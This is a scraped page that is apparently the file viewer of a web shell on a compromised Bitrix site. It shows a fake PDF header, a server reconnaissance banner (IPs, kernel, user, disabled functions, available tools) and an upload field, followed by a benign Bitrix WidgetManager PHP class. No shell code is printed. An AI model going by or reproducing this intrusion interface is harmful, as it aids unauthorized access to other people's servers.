%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.23.101.1 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/lib/visualconstructor/internal/manager/ |
Upload File : |
<?php namespace Bitrix\Report\VisualConstructor\Internal\Manager; use Bitrix\Report\VisualConstructor\BaseWidgetHandler; use Bitrix\Report\VisualConstructor\Config\Common; use Bitrix\Report\VisualConstructor\Handler\BaseWidget; use Bitrix\Report\VisualConstructor\Internal\Error\Error; /** * Class WidgetManager * @package Bitrix\Report\VisualConstructor\Internal\Manager */ class WidgetManager extends Base { private static $widgetsList = array(); private static $indices = array( 'widgetClassName' => array() ); private static $called = false; /** * @return string */ protected function getEventTypeKey() { return Common::EVENT_WIDGET_COLLECT; } /** * @return array|bool */ public function getWidgetList() { return $this->isCalled() ? self::$widgetsList : false; } /** * @return array|bool */ public function getIndices() { return $this->isCalled() ? self::$indices : false; } /** * Call special Event end build list of result and create index list for searchable keys * @return void */ public function call() { if (!self::$called) { /** @var BaseWidget[] $widgets */ $widgets = $this->getResult(); foreach ($widgets as $key => $widget) { self::$widgetsList[$key] = $widget; self::$indices['widgetClassName'][$widget::getClassName()][] = $key; } } self::$called = true; } /** * @return bool */ private function isCalled() { if (!self::$called) { $this->errors[] = new Error('invoke call method manager before get some parameters'); return false; } else { return true; } } }